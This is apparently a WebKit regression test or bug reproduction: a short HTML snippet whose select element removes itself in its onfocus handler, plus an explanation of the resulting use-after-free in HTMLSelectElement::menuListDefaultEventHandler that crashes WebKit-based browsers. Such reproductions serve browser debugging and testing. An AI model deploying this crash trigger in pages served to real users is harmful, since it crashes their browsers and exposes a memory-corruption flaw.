<select id="bomb" onfocus="this.parentNode.removeChild(this)"> <option>Click me to crash WebKit/Safari/Chrome.</option> </select><br /> This crashes because HTMLSelectElement::menuListDefaultEventHandler retrieves its renderer into a local variable, calls focus() which calls into JS to call the focus event handler, and then uses the renderer. The event handler can cause the renderer to be destroyed. <
